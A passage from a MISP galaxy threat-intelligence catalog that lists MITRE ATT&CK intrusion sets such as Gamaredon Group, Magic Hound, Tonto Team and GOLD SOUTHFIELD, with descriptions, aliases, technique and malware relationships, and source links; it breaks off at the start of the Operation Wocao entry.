- similar: misp-galaxy:threat-actor="APT17" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-malware="Winnti for Windows - S0141" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5008. Table References

Links
http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf
http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates
https://401trg.github.io/pages/burning-umbrella.html
https://attack.mitre.org/groups/G0044
https://securelist.com/games-are-over/70991/
https://securelist.com/winnti-more-than-just-a-game/37029/

Gamaredon Group - G0047

[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a suspected Russian cyber espionage threat group that has targeted military, NGO, judiciary, law enforcement, and non-profit organizations in Ukraine since at least 2013. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) comes from a misspelling of the word "Armageddon", which was detected in the adversary’s early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022)

In November 2021, the Ukrainian government publicly attributed [Gamaredon Group](https://attack.mitre.org/groups/G0047) to Russia’s Federal Security Service (FSB) Center 18.(Citation: Bleepingcomputer Gamardeon FSB November 2021)(Citation: Microsoft Actinium February 2022)

The tag is: *misp-galaxy:mitre-intrusion-set="Gamaredon Group - G0047"*

Gamaredon Group - G0047 is also known as:

- Gamaredon Group

- IRON TILDEN
- Primitive Bear
- ACTINIUM
- Armageddon
- Shuckworm
- DEV-0157

View relationships graph

Gamaredon Group - G0047 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="QuietSieve - S0686" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="Gamaredon Group" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Pteranodon - S0147" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Defacement - T1491.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Spearphishing - T1534" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PowerPunch - S0685" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5009. Table References

Links
https://attack.mitre.org/groups/G0047
https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/

https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine
https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/
https://www.bleepingcomputer.com/news/security/ukraine-links-members-of-gamaredon-hacker-group-to-russian-fsb/
https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/
https://www.secureworks.com/research/threat-profiles/iron-tilden
https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/

Magic Hound - G0059

[Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group that conducts long term, resource-intensive cyber espionage operations, likely on behalf of the Islamic Revolutionary Guard Corps. They have targeted U.S. and Middle Eastern government and military personnel, academics, journalists, and organizations such as the World Health Organization (WHO), via complex social engineering campaigns since at least 2014.(Citation: FireEye APT35 2018)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Certfa Charming Kitten January 2021)(Citation: Secureworks COBALT ILLUSION Threat Profile)(Citation: Proofpoint TA453 July2021)

The tag is: *misp-galaxy:mitre-intrusion-set="Magic Hound - G0059"*

Magic Hound - G0059 is also known as:

- Magic Hound
- TA453
- COBALT ILLUSION
- Charming Kitten
- ITG18
- Phosphorus
- Newscaster
- APT35

View relationships graph

Magic Hound - G0059 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1586.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Gather Victim Identity Information - T1589" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Vulnerability Scanning - T1595.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1585.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="CharmPower - S0674" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-

language:likelihood-probability="almost-certain"

- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1585.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Credentials - T1589.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Pupy - S0192" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="DownPaper - S0186" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Additional Email Delegate Permissions - T1098.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1566.003" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1584.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5010. Table References

Links
http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf
https://attack.mitre.org/groups/G0059
https://blog.certfa.com/posts/charming-kitten-christmas-gift/
https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/
https://blogs.microsoft.com/on-the-issues/2020/10/28/cyberattacks-phosphorus-t20-munich-security-conference/
https://noticeofpleadings.com/phosphorus/files/Complaint.pdf
https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/

https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/
https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/
https://www.clearskysec.com/wp-content/uploads/2019/10/The-Kittens-Are-Back-in-Town-2-1.pdf
https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf
https://www.eweek.com/security/newscaster-threat-uses-social-media-for-intelligence-gathering
https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf
https://www.proofpoint.com/us/blog/threat-insight/badblood-ta453-targets-us-and-israeli-medical-research-personnel-credential
https://www.proofpoint.com/us/blog/threat-insight/operation-spoofedscholars-conversation-ta453
https://www.secureworks.com/research/threat-profiles/cobalt-illusion

Stolen Pencil - G0086

[Stolen Pencil](https://attack.mitre.org/groups/G0086) is a threat group likely originating from DPRK that has been active since at least May 2018. The group appears to have targeted academic institutions, but its motives remain unclear.(Citation: Netscout Stolen Pencil Dec 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Stolen Pencil - G0086"*

Stolen Pencil - G0086 is also known as:

- Stolen Pencil

View relationships graph

Stolen Pencil - G0086 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- revoked-by: misp-galaxy:mitre-intrusion-set="Kimsuky - G0094" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5011. Table References

Links
https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/
https://attack.mitre.org/groups/G0086

Gorgon Group - G0078

[Gorgon Group](https://attack.mitre.org/groups/G0078) is a threat group consisting of members who are suspected to be Pakistan-based or have other connections to Pakistan. The group has performed a mix of criminal and targeted attacks, including campaigns against government organizations in the United Kingdom, Spain, Russia, and the United States. (Citation: Unit 42 Gorgon Group Aug 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Gorgon Group - G0078"*

Gorgon Group - G0078 is also known as:

- Gorgon Group

View relationships graph

Gorgon Group - G0078 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-tool="Remcos - S0332" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Portable Executable Injection - T1055.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="NanoCore - S0336" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="njRAT - S0385" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="QuasarRAT - S0262" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5012. Table References

Links
https://attack.mitre.org/groups/G0078
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/

Bouncing Golf - G0097

[Bouncing Golf](https://attack.mitre.org/groups/G0097) is a cyberespionage campaign targeting Middle Eastern countries.(Citation: Trend Micro Bouncing Golf 2019)

The tag is: *misp-galaxy:mitre-intrusion-set="Bouncing Golf - G0097"*

Bouncing Golf - G0097 is also known as:

- Bouncing Golf

View relationships graph

Bouncing Golf - G0097 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="GolfSpy - S0421" with estimative-language:likelihood-probability="almost-certain"

Table 5013. Table References

Links
https://attack.mitre.org/groups/G0097
https://blog.trendmicro.com/trendlabs-security-intelligence/mobile-cyberespionage-campaign-bouncing-golf-affects-middle-east/

Tonto Team - G0131

[Tonto Team](https://attack.mitre.org/groups/G0131) is a suspected Chinese state-sponsored cyber espionage threat group that has primarily targeted South Korea, Japan, Taiwan, and the United States since at least 2009; by 2020 they expanded operations to include other Asian as well as Eastern European countries. [Tonto Team](https://attack.mitre.org/groups/G0131) has targeted government, military, energy, mining, financial, education, healthcare, and technology organizations, including through the Heartbeat Campaign (2009-2012) and Operation Bitter Biscuit (2017).(Citation: Kaspersky CactusPete Aug 2020)(Citation: ESET Exchange Mar 2021)(Citation: FireEye Chinese Espionage October 2019)(Citation: ARS Technica China Hack SK April 2017)(Citation: Trend Micro HeartBeat Campaign January 2013)(Citation: Talos Bisonal 10 Years March 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Tonto Team - G0131"*

Tonto Team - G0131 is also known as:

- Tonto Team
- Earth Akhlut
- BRONZE HUNTLEY
- CactusPete
- Karma Panda

View relationships graph

Tonto Team - G0131 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Bisonal - S0268" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="gsecdump - S0008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="NBTscan - S0590" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ShadowPad - S0596" with estimative-language:likelihood-probability="almost-certain"

Table 5014. Table References

Links
https://arstechnica.com/information-technology/2017/04/researchers-claim-china-trying-to-hack-south-korea-missile-defense-efforts/
https://attack.mitre.org/groups/G0131
https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html
https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/
https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf
https://www.crowdstrike.com/blog/adversaries-targeting-the-manufacturing-industry/
https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://www.secureworks.com/research/threat-profiles/bronze-huntley
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the-heartbeat-apt-campaign.pdf?
https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/

GOLD SOUTHFIELD - G0115

[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) is a financially motivated threat group active since at least 2019 that operates the [REvil](https://attack.mitre.org/software/S0496) Ransomware-as-a Service (RaaS). [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) provides backend infrastructure for affiliates recruited on underground forums to perpetrate high value deployments.(Citation: Secureworks REvil September 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Secureworks GOLD SOUTHFIELD)

The tag is: *misp-galaxy:mitre-intrusion-set="GOLD SOUTHFIELD - G0115"*

GOLD SOUTHFIELD - G0115 is also known as:

- GOLD SOUTHFIELD

View relationships graph

GOLD SOUTHFIELD - G0115 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="ConnectWise - S0591" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="REvil - S0496" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002" with estimative-language:likelihood-probability="almost-certain"

Table 5015. Table References

Links
https://attack.mitre.org/groups/G0115
https://www.secureworks.com/blog/revil-the-gandcrab-connection
https://www.secureworks.com/research/revil-sodinokibi-ransomware
https://www.secureworks.com/research/threat-profiles/gold-southfield

Operation Wocao - G0116

[Operation Wocao](https://attack.mitre.org/groups/G0116) described activities carried out by a China-based cyber espionage adversary. [Operation Wocao](https://attack.mitre.org/groups/G0116) targeted entities within the government, managed service providers, energy, health care, and technology sectors across several countries, including China, France, Germany, the United Kingdom, and the United States. [Operation Wocao](https://attack.mitre.org/groups/G0116) used similar TTPs and tools to APT20, suggesting a possible overlap.(Citation: FoxIT Wocao December 2019)

The tag is: *misp-galaxy:mitre-intrusion-set="Operation Wocao - G0116"*

Operation Wocao - G0116 is also known as:

- Operation Wocao

View relationships graph

Operation Wocao - G0116 has relationships with:

